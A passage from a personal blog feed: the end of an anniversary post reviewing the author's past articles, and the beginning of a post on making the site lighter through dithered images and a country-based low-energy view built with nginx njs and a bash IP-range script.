<p>I'll be adding my favourite quote from each at the start, because it might be funny.</p>
<ul>
<li><a href="/post/lamp_stack_on_centos">Setting up a LAMP Stack on CentOS 7</a> (2018-01-22)</li>
</ul>
<blockquote>
  <p>CentOS actually comes with Python2.7 by deafult, so if you are one of those neanderthals who still use 2.7 you can skip this step. For the rest of us intellectuals, you will need to install install IUS, which stands for Inline with Upstream Stable.</p>
</blockquote>
<p>While nothing really all that special, I of course have to talk about the first post I ever wrote. It's actually required for every software engineer who's making a blog to have the first post describing how you made the blog.</p>
<p>This is a pretty dry document, which made it pretty hard to find a "favourite quote," as it literally is just describing steps to take to setup a software stack (and not a particularly good one at that).</p>
<p>If you're wondering why I was using such an archaic stack for this blog at the start, that's because I only created this blog to learn about the stack I was using at the job I just started.</p>
<p>I wouldn't really do something like this again, I prefer to have my free time spent doing things I actually want to do, and I'm confident enough in my abilities now to know I could just pick up any stack on the job.</p>
<p>I mean, I have 8 years of programming experience in dozens of language and framework paradigms. I've seen most enumerations of software stacks at this point and it's not that hard to switch between them any more.</p>
<p>Although, it is nice to see where the roots of this site were planted and how they've never really changed, where I still use this blog to learn about new things.</p>
<ul>
<li><a href="/post/techwear_clothing">Techwear Clothing and How To Live Out Your Dystopian Cyberpunk Dreams</a> (2018-08-27)</li>
</ul>
<blockquote>
  <p>[…] And just because I'm so nice, I'll even give you an idea of how many kidneys you'll have to sell in order to afford each style, although keep in mind that this is a very general idea from my own experience of kidney selling, and that you may find that a 1 kidney style can have items that would need 12 kidneys.</p>
</blockquote>
<p>So all the posts before this are mostly of the same type as my first - the instructional/tutorial type. And this is the first time I tried something different. I wanted to be more entertaining while still being informative and start branching out of software.</p>
<p>After reading it again now, I'm kinda impressed that I didn't really cringe at anything I wrote. It did everything I wanted - be a source of information, and not boring as fuck. There weren't really many "jokes" but the prose wasn't Superdry,<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> so that's a good start.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>GET IT??!?! SUPERDRY IS A CLOTHING BRAND!! I'M SO FUNNY!</span></aside>
<p>I liked rediscovering how I expressed the expensiveness of the clothes in terms of kidneys, which is something I would still probably do if I were to write it again. Good job me! I'm glad I got this much right the first time round.</p>
<p>Although, I do remember it took a while to write<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> because I was putting more effort into research and editing to make sure I had a benchmark for future posts I wanted to write, so that probably has a lot to do with it.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>In comparison to other posts I made at that time. I was churning out almost 1 post a week, so to have a month break between this post and the last was quite different.</span></aside>
<ul>
<li><a href="/post/learn_vim_script">Let's Learn About Vim Script And The Ethics Of Capitalism</a> (2019-05-12)</li>
</ul>
<blockquote>
  <p>There is no ethical consumption under capitalism.</p>
</blockquote>
<p>2019 was really when this blog started ramping up.</p>
<p>I was experimenting with what and how I wanted to write which gave me a lot of ideas for posts (some good, some not so). So it was at this time that I started properly understanding and developing my own process for writing.</p>
<p>I really like this post because it's such a stupid idea, implemented even stupidly.</p>
<p>It doesn't flow the way I would like, and some phrases are just awkward/cringe. I think if I really tried, I could probably have been able to somehow linked the horrors of Vim Script to Capitalism which would have made the structure less jarring. But maybe that sharpness gives it its' character, like it's enforcing how absurd the premise of this post is.</p>
<p>Either way, I'm glad I wrote it. And it was fun to read again.</p>
<ul>
<li><a href="/post/why_vim">Why Vim?</a> (2019-07-14)</li>
</ul>
<blockquote>
  <p>Vim == Human language</p>
  <p>Every other text editor/IDE == Annoying bird language</p>
</blockquote>
<p>Another Vim post! I like this one because I can seriously feel the affection I have for this software through it and the words it's composed of. Fitting, since it's also a post about linguistics.</p>
<p>Yes, I feel affection for software.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> But when you've been using and studying it for over half your life, how could you not? I genuinely mean it when I say Vim is essentially a part of me now.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>I feel affection for most things actually, and constantly anthropomorphise every inanimate object I own and use often. I mean sometimes I pet my computer... what? no, that's not weird. When something is doing a good job, you give it head pats! It's a normal human thing to do! IT'S NOT WEIRD OK. LOOK DON'T JUDGE ME, I HAVE SOCIAL ANXIETY. THE ONLY WAY I CAN GET OXYTOCIN IS FROM THE TECHNOLOGY I GIVE HUMAN QUALITIES TO. I WOULD CUDDLE MY LAPTOPS TO SLEEP IF I WASN'T AFRAID TO BREAK THEM.</span></aside>
<p>There have been a few times in my life where I have sat in front of a computer to do some work, opened Vim, and then for some reason, couldn't remember any commands. Actually it's more like, I didn't have the muscle memory for those commands any more - I knew what I had to do, but my hands would refuse.</p>
<p>Every single time that has happened to me, I felt like the world was ending and my life was over. Everything that once held value to me is now worthless. Not knowing how to use Vim could spell the end of my entire career, and the thing I've basically attached my self-worth to. Vim <strong>is</strong> programming to me. I've known Vim longer than I've known how to code. Could I enjoy writing if statements without the text editor I've used for over 10 years? I've never in my entire life used a mouse to navigate code without having to engage with some incredibly negative emotions, and the thought of having to start is a quick one-way street to despair.</p>
<p>It never lasts long enough to go into a full blown panic attack, it's just a temporary brain fart and I eventually start remembering again soon, but fuck it gets close.</p>
<p>I know that forgetting how to use Vim isn't something I really need to worry about. If at some point I do manage to forget over 10 years of muscle memory (that I also couldn't just re-learn), I probably have bigger issues going on with my brain.</p>
<p>I've recently made an Emacs config though, so let's see where that leads me.</p>
<ul>
<li><a href="/post/coffee_siphon">An Idiot Teaches You How To Use A Coffee Siphon</a> (2019-07-29)</li>
</ul>
<blockquote>
  <p>[…] If you did it correctly the water should be moving from the bottom part to the top part. This is because of physics I think.</p>
</blockquote>
<p>God I love coffee siphons. I still don't know how or why heating up the bottom makes a vacuum, or how a vacuum forces the water to go to the top. I've never really cared to find out, I'd like to keep thinking of them as magic.</p>
<p>It's also interesting to see that I call my self an idiot in the title. This made me realise that self-deprecating jokes aren't a thing I do much any more, and have replaced them with over-exaggerating a self-inflated ego. I'm not sure why, but over the years I've tended to find the latter much funnier than the former.</p>
<p>Also, NO! I <strong>don't</strong> pet these as well ALRIGHT?! I know you were wondering if I did, you sick fuck! I'M A NORMAL HUMAN WHO ACTS IN NORMAL HUMAN WAYS.</p>
<p>These things get way to hot to be able to pet with my human flesh anyway.</p>
<ul>
<li><a href="/post/i_use_arch_btw">How To Subtly Include The Fact You Use Arch Linux Into Everyday Conversation</a> (2019-09-06)</li>
</ul>
<blockquote>
  <p>Now as a disclaimer, because I actually do have social anxiety, I don't talk to very many people so these conversations may not be entirely accurate to real life. However, I have read enough Tumblr threads to get the jist of how most people talk, so I think I know what I'm doing.</p>
</blockquote>
<p>This one is just kinda funny. It provides zero information, so it has to completely rely on my funny brain to carry the post. Did it succeed? Yeah I think so, it's at least mildly amusing and something you might actually see on a satire site.</p>
<p>I use NixOS now btw.</p>
<ul>
<li><a href="/post/checking_sources">A Week Where I Check The Sources On Everything I Read</a> (2020-01-29)</li>
</ul>
<blockquote>
  <p>Last and most definitely least, “Sir Philip Pullman calls for 50p boycott over Oxford comma” from BBC on January 28, 2020. I couldn’t care less, although I am not a fan of language purism and it made me a bit annoyed so maybe I do care. Actually no, I don’t care! I had to look up who Sir Philip Pullman even was so why should I care about his opinion? It’s petty prescriptivist and misguided point-scoring from those who want to feel that they are vague ‘language experts’ but haven’t fully thought through the implications, origins, and lack of fundamental significance of what is just one of multiple conventions.</p>
</blockquote>
<p>Alright, here we go.</p>
<p>It's now 2020. Twenty <strong>fucking</strong> twenty.</p>
<p>I found my voice in 2019 and so now I wanted to shout as loud as possible into this malformed abyss. And what better year to do it then in the year where I was stuck inside for months, and had a whole <strong>heap</strong> of free time.</p>
<p>At that time, this was the longest post I've ever written and was the first time I took over a few days to write, although that was mostly because of the premise.</p>
<p>This was written before COVID really hit the fan, so there was no news about that. It was also when I learnt about the term "ouiaboo," and definitely didn't get really offended because I'm NOT one of those, so I decided to use it everywhere ironically to show people how NOT that I was (AND STILL AREN'T).</p>
<p>The actual post was kind of interesting too.</p>
<ul>
<li><a href="/post/nerd_sniped">I Nerd Sniped Myself And Wasted A Day On This Useless Post</a> (2020-03-12)</li>
</ul>
<blockquote>
  <p>I find people who collect rubber ducks to be weirdos. I’m not doing this one.</p>
</blockquote>
<p>This and the last post about checking sources could be considered "challenge" posts. Where I set myself a challenge and write about what I went through.</p>
<p>You might also notice that these two are the only "challenge" posts I've written.</p>
<p>That's because this post made me stop doing them.</p>
<p>I wouldn't say I hate this post or anything, it has it's moments (I think it starts getting good at the end). But it doesn't really achieve my main goals of the blog that are once again - to be informative and entertaining. Especially for the amount of work I had to put it for it.</p>
<p>So, I decided that "challenge" posts were too much effort for not enough reward.</p>
<p>But I think it's good to showcase your mistakes, and this is one of my <em>least</em> worst mistakes, so here it is.</p>
<ul>
<li><a href="/post/best_counting">Which Language Has The Best Counting?</a> (2020-03-25)</li>
</ul>
<blockquote>
  <p>Finnish is actually an Uralic language instead of Indo-European. But I’m the one who created the rules, so I’m the one who can break them.</p>
</blockquote>
<p>I can't really explain why I got so excited that I became aware of "a website that contains the numbering systems of over TWO HUNDRED languages." But I really did, and so I just <strong>had</strong> to make a post about it.</p>
<p>This is such a "me" post, something that only I would want to read. And for that it gets a 10/10.</p>
<p>My only regret is that I didn't make fun of the French more. I'm realising now that I probably need to do more to prove I'm not a ouib (I think that's how you shorten ouiaboo?)</p>
<ul>
<li><a href="/post/pokemon_mystery_dungeon">Where’s Bidoof? - A Review of Pokèmon Mystery Dungeon</a> (2020-04-06)</li>
</ul>
<blockquote>
  <p>I also thought “Animal Crossing: New Horizons” would make good content. I could even make reference to that time “Stardew Valley Made Me Suicidal” and see if this game would make me want to kill myself as well.</p>
</blockquote>
<p>I swear to Bidoof that quote &gt;.&lt;</p>
<p>On one hand.</p>
<p>That's the funniest thing I've ever written.</p>
<p>On the other.</p>
<p>HOLY SHIT. WHAT THE FUCK.</p>
<p>That is not something I should be saying outside of these posts.</p>
<ul>
<li><a href="/post/antigrav_racing">An Actually Good Anti-Gravity Racing Game</a> (2020-07-16)</li>
</ul>
<blockquote>
  <p>Magnets man, how do they work? I have no idea, so that's probably why I think using a "mag-plate" is fine.</p>
</blockquote>
<p>Ah yes, now this is something I've had on my mind for years. It should be no surprise to you that I think about video games. A lot.</p>
<p>This is an almost complete specification of vehicle dynamics for one of my dream games. Honest to Bidoof YEARS went into thinking about this. Trying to figure out how to make it believable, yet clearly fiction.</p>
<p>The post is actually only the surface of what I wanted, there was going to be a whole thing about a career mode and economics/business (since it's a pretty important part of motorsport in general), but I scrapped it to focus more on ships.</p>
<p>Then, much like an email you've tripled checked for typos, the moment I published it, I instantly thought of several things that were wrong with the entire concept. I won't tell you them, because I'm a mean bastard enby and I want you to read it yourself (the one I retroactively fixed much later was just the biggest issue I had that I couldn't stand to not "fix").</p>
<p>But I still like the post and think it's pretty interesting as a game design essay.</p>
<ul>
<li><a href="/post/cells_at_work">An Anime Made Me Rethink My Entire View On Cognition</a> (2020-11-07)</li>
</ul>
<blockquote>
  <p>[…] so I have no idea why my teacher read a child's story about culinary genocide, accepted this even though it wasn't what she asked for, and then gave the child full marks.</p>
</blockquote>
<p>This is one of my favourite posts I've ever written. It does <strong>exactly</strong> what I always aim for with this blog (you don't need me to tell you again right?).</p>
<p>I don't know if you've been reading these posts as well, but if you haven't, I seriously urge you to read this one.</p>
<p>I also like it because it shows that I'm a weeb which takes suspicion off me being a ouib (I enjoy how it's much easier to distinguish between these two words in a written format). Because everyone knows that you can't like two countries at once, as that is forbidden by the laws of quantum physics.</p>
<ul>
<li><a href="/post/lisp_is_best">Lisp Is The Best Programming Language Because It's The Only Programming Language</a> (2021-03-24)</li>
</ul>
<blockquote>
  <p><strong>COOL AS FUCK.</strong></p>
</blockquote>
<p>I always enjoy writing about linguistics crossed with programming. Fun fact, when I first started learning a second language,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> I actually thought "I know like 7 programming languages; 1 natural language couldn't be that hard right?"</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I won't tell you what language that is though. Because it might give you the wrong idea about me, and there definitely isn't anything on this blog that could give you an idea of what it is.</span></aside>
<p>Boy was I wrong.</p>
<ul>
<li><a href="/post/computers_are_slow">Incoherent Ramblings On Computer Architecture</a> (2021-05-06)</li>
</ul>
<blockquote>
  <p>Have some imagination, use Lisp, and one day, maybe we'll be able to write Haskell without monads.</p>
</blockquote>
<p>This is like the counting in different languages post, where I'm the only one who gives a shit about any of this.</p>
<p>Generally things like these aren't written to be all that entertaining because the information itself is entertainment to me so I don't feel any need to write jokes or funny bits. However, this can make them uninteresting and meandering to other people, which I can definitely see this being.</p>
<p>I had the time of my life researching this. And it doesn't show at all.</p>
<p>10/10.</p>
<ul>
<li><a href="/post/art_gallery">A Tour Of My Art Gallery</a> (2021-07-25)</li>
</ul>
<blockquote>
  <p>[…] if you look very closely at the top right, you'll see that the sun is wearing sunglasses. Such a profound political statement is another thing you'll see very often with my art.</p>
</blockquote>
<p>Who knew making bullshit explanations for art was so fun?</p>
<p>This post almost made me regret skipping getting a 60k HECS debt for a university degree to instead get a high paying software engineering job which has allowed me to afford an apartment in the Sydney inner city.</p>
<p>I'm starting to thing that I should have gotten a liberal arts degree if it means I could have done this all day. But that's okay! We all make mistakes! (Note: I don't know what a liberal arts degree actually involves)</p>
<p>Earlier if you remember, I talked about how I don't do self-deprecating jokes any more in favour of writing like a narcissist who thinks too much of myself, because I find that more amusing for some reason. This post is probably the best example of that.</p>
<p>Also, finally remembered to make fun of the French, so this is easily a top 10 post.</p>
<ul>
<li><a href="/post/tech_is_bad">Technology Is Bad, Actually</a> (2021-10-23)</li>
</ul>
<blockquote>
  <p>I've basically just relegated crypto-currencies to complicated forms of gambling, but seriously, this really is me genuinely trying to find a use for them.</p>
</blockquote>
<p>This is another one of my favourites. Not because it's written particularly well though. It's pretty rambly and unfocused. But I think it tells an important message.</p>
<p>As a software engineer, I can't help but feel at least a little responsible for the problems of this industry. I obviously have a better idea of the capabilities and consequences of technology than most people who aren't so entrenched in computers. So maybe I should be doing more to educate people about this.</p>
<p>All the lies, false promises, and naivety isn't going to help anyone.</p>
<ul>
<li><a href="/post/meta_rfc">A Meta RFC For The Implementation Of RFCs</a> (2022-02-22)</li>
</ul>
<blockquote>
  <p>Some people do not like writing, or reading. Kids these days… smh.</p>
</blockquote>
<p>As mentioned in the beginning of that post, "[this] is an RFC for implementing RFCs I wrote for work and thought it would be good enough to publish here."</p>
<p>It was actually a fun challenge to write a document that would be "digestible" in a workplace environment. I certainly couldn't just use the same style of writing I use here, but I still wanted "character" in my work (because apparently I regret not getting a liberal arts degree), so I had to morph my style into something more "professional."</p>
<p>I think I did a good job for a first attempt. I've made marked improvements with this style over the next RFCs I've drafted, and maybe I'll post them here as well eventually.</p>
<ul>
<li><a href="/post/ai_screamtrograms">When Your Housemates Are Too Loud While Playing Valorant</a> (2022-04-14)</li>
</ul>
<blockquote>
  <p>I'm just recording the ambient noises in my room, and sometimes screaming can be heard in the background (please ignore the fact that I'm then using that screaming to feed a machine learning model).</p>
</blockquote>
<p>This is my favourite post I've ever written and the one I'm most proud of.</p>
<p>Again with posts like these, they tick all the boxes in the exact way I envisioned, and holy shit are these boxes ticked real fucking good.</p>
<ul>
<li>Informative? Literally goes through the entire process of using machine learning to solve a problem.</li>
<li>Entertaining? Just the premise alone is funny as fuck.</li>
</ul>
<p>This is the one blog post I've <strong>actually talked about to other people</strong>. It's a genuinely good story to tell, and it's pretty understandable to most people even if they aren't super aware of machine learning technology.</p>
<p>The "How To Avoid Talking To People" series I put it under also has a lot of potential for good content I feel. While this is the only post so far, I do have ideas for more, but as mentioned at the start - they just require a time commitment to work on.</p>
<hr />
<p>So that's all of them. I didn't actually think I would have enough content to fill the space that a normal anniversary post would take,<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> and in that case I was also planning to talk about how the <strong>comedy anime</strong> <em>Bocchi The Rock!</em> is somehow the most accurate portrayal of social anxiety I've ever seen in media. But I guess I can leave it for another time.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>The only plan I make for these posts is doing some thinking about what I could talk about in my head. Then it's just a complete stream of consciousness onto a computer, with some editing to fix errors after everything is written. It usually helps with bringing out the sad, goopy bits of my mind if I don't think too hard about what I'm writing.</span></aside>
<p>And you know, I mentioned earlier that I have trouble remembering positive experiences of the past. But when I was going through my archive of posts, I started remembering what I was feeling and thinking while writing most of them. With many of these, I could remember exactly where I was while writing them and what I was going through at the time, which was just kinda fun to relive these experiences, even if they are just me sitting at a computer and getting frustrated that I don't know how to use words.</p>
<p>So, since I can remember all this stuff, I guess means this blog is working? I know I said this blog is only supposed to do two things, but there is a third.</p>
<blockquote>
  <p>A place for me to remember myself by talking to you.</p>
</blockquote>
<p>See you next year.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I think this is also the most I've ever mentioned having social anxiety in a blog post. Most of the time it's just a passing mention to it (unless it's a post dedicated to it), or I don't mention it as a direct reference. Why am I so comfortable with it now?</p>
<p>Maybe I'm finally coming to terms with it? Maybe <em>Bocchi The Rock!</em> has finally shown me the real comedy value in this mental illness and I now intend on milking this trait as long as possible? Maybe I'm starting to understand how to express myself? I've certainly gotten much better at writing these "feelings" posts since the first Stardew Valley one.</p>
<p>Maybe I should get a therapist to sort this stuff out instead of using my French teacher as <a href="https://en.wikipedia.org/wiki/Immersion_therapy">immersion therapy</a> by forcing me every week to face my second greatest fear; Talking to a woman. Poorly.</p>
<p>NO WAIT SHIT I SAID WHAT LANGUAGE IT IS. FUCK.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Black To Green]]></title>
        <id>https://justin.duch.me/post/black_to_green</id>
        <link href="https://justin.duch.me/post/black_to_green"/>
        <updated>2022-10-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For the past few months I've been thinking a lot about what to do (programming/engineering wise) with this blog. I've always experimented with new things here, and it's always been my go-to project for learning a new tech stack (when appropriate of course, so mostly web stuff).</p>
<p>This place has been through, what, three rewrites now?<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> From static html served on Apache, to a Python web server with templating, to its' latest iteration - a static site generated with Svelte.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Technically four if you count migrating from Sapper to SvelteKit, but I wouldn't.</span></aside>
<p>And this has got me thinking - this site has been growing in size every time I rewrite it, but all the functionality has pretty much been the same.</p>
<p>When I was uploading hand made HTML files to an Apache server, the average size was 20 KB. Now the average size of a page on this blog is probably around 1 MB depending on how many images there are - a 50x increase. And yet this iteration is no more readable than the last, or the last any more readable than the one before that. The only new functionality is the footnotes which could have easily been added in the previous iterations while keeping their small page size.</p>
<p>However, to be fair to me, I feel like I've actually done a good job of trying to minimise the extraneous garbage bloating the modern web - JavaScript. As I'm writing this, apart from one, no page on this blog requires JS and is completely functional without it. Things like the footnotes (which are responsive to screen size changes<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>) required a little bit of effort to get built server side, but have allowed me to provide you with an (almost) completely JS free reading experience.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Getting this working was kinda interesting so I'm going to talk about it here. Essentially, since my Markdown to HTML compiler can only output text inside the actual "content", and I wanted the footnotes to be outside the actual page margin for desktop viewers (so it could be vertically aligned with the text) - I have some JS to parse the HTML, look for footnotes, duplicate them, place them outside the main content, and align them to the text that they're "footnoting". Then I can have some CSS classes to hide and show the two footnotes depending on the screen size.</span></aside>
<p>That basically just leaves me with two reasons for why this blog has increased in size by so much:</p>
<ul>
<li>The custom font.</li>
<li>Uncompressed images.</li>
</ul>
<p>The <a href="/post/cool_font">font is non-negotiable,</a> I'm not getting rid of the font. I know you 100 KB evangelists hate custom fonts and believe every website should just use the boring stock fonts that your browser comes with, and to be honest, I would normally agree with you. However, consider this counter-argument if you will:</p>
<p>I PAID ALMOST AUD$600 FOR THIS THING. I'M GOING TO FUCKING USE IT. I'M NOT GETTING RID OF IT. FUCK OFF.</p>
<p>So that just leaves us with the images.</p>
<p>The obvious answer to this problem is to not use images.</p>
<p>No. I don't pay for the images, so I'm not particularly angry that you would even suggest that, but I do think the images are pretty important for my posts. I'm also talking about those header images that are completely unnecessary in most cases - I like them, and I think they add character to this barren and decrepit void of a website.</p>
<p>The next obvious answer is to compress the images, as I haven't been doing that because I'm very lazy.</p>
<p>I'm okay with this, in fact, I think I can do you one better :)</p>
<p>All the images on this blog are now, compressed, re-sized, greyscaled, and "dithered". Everything except that last one shouldn't really need an explanation, so let's talk about dithering.</p>
<p>Dithering is a retro way of reducing the colours in an image for use on old hardware or in print. It removes colours, and strategically place dots to emulate the missing shades.</p>
<p><a href="https://surma.dev/things/ditherpunk/index.html">This blog post</a> by Surma is a really good introduction to it. Here's the Julia code I used to dither my normal images.</p>
<pre class="prettyprint linenums"><code class="julia language-julia"><span class="hljs-keyword">using</span> DitherPunk
<span class="hljs-keyword">using</span> FileIO
<span class="hljs-keyword">using</span> Images

percentage_scale = <span class="hljs-number">0.7</span>

<span class="hljs-keyword">function</span> dither_recursive(dir::<span class="hljs-built_in">String</span>)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> readdir(dir)
        path = string(dir, <span class="hljs-string">&quot;/&quot;</span>, i)

        <span class="hljs-keyword">if</span> isdir(path)
            dither_recursive(path)
        <span class="hljs-keyword">else</span>
            new_path = string(dir, <span class="hljs-string">&quot;/../dither/&quot;</span>, i)

            <span class="hljs-keyword">if</span> isfile(new_path)
                <span class="hljs-keyword">continue</span>
            <span class="hljs-keyword">end</span>

            img_gray = convert.(Gray, load(path))
            new_size = trunc.(<span class="hljs-built_in">Int</span>, size(img_gray) .* percentage_scale)
            new_img =  imresize(dither(img_gray, Bayer()), new_size)
            save(new_path, new_img)

            <span class="hljs-meta">@info</span> <span class="hljs-string">&quot;dithered image&quot;</span> new_path
        <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>

<span class="hljs-keyword">function</span> main(args::<span class="hljs-built_in">Vector</span>{<span class="hljs-built_in">String</span>})
    <span class="hljs-keyword">for</span> dir <span class="hljs-keyword">in</span> args
        dither_recursive(dir)
    <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>

main(<span class="hljs-literal">ARGS</span>)
</code></pre>
<p>I've also been think about ways to make this site more "eco-friendly". Keeping the size of the site as low as possible is the best way to do this, but I think there are more interesting things I could attempt.</p>
<p>It would cool to run this place on a solar-powered server I run in my apartment, since this place doesn't particularly need a 99% uptime, but I'm a little cautious of having my home Internet "opened" up to everyone, even if it's limited to port 443.</p>
<p>If I can find a way to do this while still feeling secure, it's definitely going to be done. But for now, I'll need to think of something else.</p>
<p>Something I've really liked the style of is how the online magazine "<a href="https://branch.climateaction.tech/">Branch</a>" is designed to be "Demand Responsive" and to adapt to and reflect the physical infrastructure of the Internet and the energy behind it.</p>
<blockquote>
  <p>Utilising data from a grid intensity API and the user’s location, Branch has different interface designs that are shown dependent on the current energy demand and fossil fuels on the grid where the user is.</p>
  <ul>
  <li><a href="https://branch.climateaction.tech/issues/issue-1/designing-branch-sustainable-interaction-design-principles/">Designing Branch: Sustainable Interaction Design Principles</a></li>
  </ul>
</blockquote>
<p>I enjoy the idea of doing something like this, but one thing I don't like about how Branch has done it is their use of a "grid intensity API and the user’s location".</p>
<p>This makes JS practically a requirement to work, which as we all know by now, just bloats the website and should be unnecessary.</p>
<p>Australia is somewhat infamous for being behind on renewables, so I'm always on the "high grid intensity view" which should be providing me with the lowest amount of data necessary to make the site work.</p>
<blockquote>
  <p>When grid demand is high and less renewables are being used we reverse the way media content is shown by emphasising the alt text instead. The user can click to reveal the content if they wish, but it is not automatically loaded for them, this also creates the need to craft alt texts to make them much more descriptive than they may usually be.</p>
</blockquote>
<p>However, the size of that page is 2.26 MB. Using WordPress also certainly isn't helping.</p>
<p>So I wanted to copy them, but do it my way. And that's by shoving as much of the functionality to the server side and have all the work done during the build process instead of client side.</p>
<p>This is actually a lot harder than it sounds - how am I supposed to change the content of this blog when it's a static site?</p>
<p>I would need something server side that could edit the content of the static page as it's being requested. This could be done with an <a href="https://expressjs.com/en/starter/static-files.html">ExpressJS server</a> or something else like that, but those are too bloated for me - I run this site on a cheap VPS hosted in Finland<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> and would prefer to avoid wasting any resources that don't need to be used.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>To make up for the fact this isn't solar powered yet. Finland has a pretty good renewable energy policy.</span></aside>
<p>Instead, I looked for a pure nginx solution. Something like <a href="https://nginx.org/en/docs/njs/">njs,</a> which is a subset of JavaScript that can be used in nginx modules. It uses its own engine that converts njs code into bytecode, since V8 and friends are not fast enough.</p>
<p>I also want to avoid having to call an API on every request to get grid intensity data, because this would make the requests too slow and unresponsive. So I wanted download all the data at the start of the build process and just read from a file instead. Unfortunately, I haven't found a service that lets me download everything, as most can only do specific countries, so I've just made a list of the countries that have good carbon intensity.</p>
<p>Basically, I just went on to <a href="https://app.electricitymaps.com/">Electricity Maps,</a> clicked on all the countries that were green, and put them in the following list:</p>
<ul>
<li>France</li>
<li>New Zealand</li>
<li>Finland</li>
<li>Sweden</li>
<li>Norway</li>
<li>Iceland</li>
<li>Austria</li>
<li>Brazil</li>
<li>Guatemala</li>
<li>Costa Rica</li>
</ul>
<p>I've made it so that anyone coming from an IP address that is assigned to one of these countries will see the "low grid intensity view". I'll be checking, the map every now and again to see if the list needs updating, as it would be kinda cool to see it grow (hopefully).</p>
<p>But there's still some problems with this approach - how do I know what country an IP comes from if I refuse to use any third party APIs?</p>
<p>Well… I just cache every IP address in a file (or at least the subnet ranges), and read that obviously. There's a nice website, <a href="https://iptoasn.com/">iptoasn.com</a> that let's us do this. It's not <em>every</em> IP range, but it's probably enough.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>I think this only gets residential IPs since the IPs my VPN provides aren't on the list, but my home Internet is. If you live in one of these countries, let me know if it actually works ;)</span></aside>
<p>Here's the script to download it:</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-built_in">set</span> -euo pipefail
IFS=$<span class="hljs-string">&#x27;\n\t&#x27;</span>

<span class="hljs-built_in">cd</span> <span class="hljs-string">&quot;<span class="hljs-subst">$(dirname <span class="hljs-string">&quot;<span class="hljs-variable">$0</span>&quot;</span>)</span>&quot;</span>

<span class="hljs-function"><span class="hljs-title">ip2dec</span></span>() {
    <span class="hljs-built_in">local</span> a b c d
    IFS=. <span class="hljs-built_in">read</span> -r a b c d &lt;&lt;&lt; <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>
    <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;<span class="hljs-subst">$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d)</span>)&quot;</span>
}

curl --compressed https://iptoasn.com/data/ip2country-v4.tsv.gz -o ip2country-v4.tsv.gz
gunzip ip2country-v4.tsv.gz

countries=(
    <span class="hljs-string">&quot;FR&quot;</span> <span class="hljs-comment"># France</span>
    <span class="hljs-string">&quot;NZ&quot;</span> <span class="hljs-comment"># New Zealand</span>
    <span class="hljs-string">&quot;FI&quot;</span> <span class="hljs-comment"># Finland</span>
    <span class="hljs-string">&quot;SE&quot;</span> <span class="hljs-comment"># Sweden</span>
    <span class="hljs-string">&quot;NO&quot;</span> <span class="hljs-comment"># Norway</span>
    <span class="hljs-string">&quot;IS&quot;</span> <span class="hljs-comment"># Iceland</span>
    <span class="hljs-string">&quot;AT&quot;</span> <span class="hljs-comment"># Austria</span>
    <span class="hljs-string">&quot;BR&quot;</span> <span class="hljs-comment"># Brazil</span>
    <span class="hljs-string">&quot;GU&quot;</span> <span class="hljs-comment"># Guatemala</span>
    <span class="hljs-string">&quot;CR&quot;</span> <span class="hljs-comment"># Costa Rica</span>
)

<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-variable">${countries[@]}</span>; <span class="hljs-keyword">do</span>
    grep <span class="hljs-variable">$c</span> ip2country-v4.tsv &gt;&gt; ip.tsv
<span class="hljs-keyword">done</span>

<span class="hljs-built_in">tr</span> <span class="hljs-string">&#x27;\t&#x27;</span> <span class="hljs-string">&#x27;,&#x27;</span> &lt; ip.tsv &gt; ip.csv

(<span class="hljs-keyword">while</span> IFS=, <span class="hljs-built_in">read</span> -r a b c; <span class="hljs-keyword">do</span> ip2dec <span class="hljs-variable">$a</span>; <span class="hljs-built_in">echo</span> -n ,; ip2dec <span class="hljs-variable">$b</span>; <span class="hljs-built_in">echo</span> -n ,; <span class="hljs-built_in">echo</span> <span class="hljs-variable">$c</span>; <span class="hljs-keyword">done</span> &lt; ip.csv) &gt; ip-dec.csv

<span class="hljs-built_in">rm</span> -f ip.tsv ip2country-v4.tsv
</code></pre>
<p>This converts the IP addresses into decimal integers so that it's easier to figure out if a user's IP is in the range.</p>
<p>The next problem, was probably the most annoying thing I've ever had to deal with and required the most stupid hack to fix.</p>
<p>Okay, so, in my njs script I have some logic to change the HTML of the request to add in the CSS overrides for the "low grid intensity view". The issue is that this would change the length of the request, but <strong>wouldn't</strong> change the <code class="prettyprint">Content-Length</code> header, so things would get cut off.</p>
<p>Shouldn't be a big deal right? Just get the length of the CSS I'm injecting and add it to the <code class="prettyprint">Content-Length</code>.</p>
<p>DOESN'T WORK. NGINX WAS STILL USING THE OLD <code class="prettyprint">Content-Length</code>.</p>
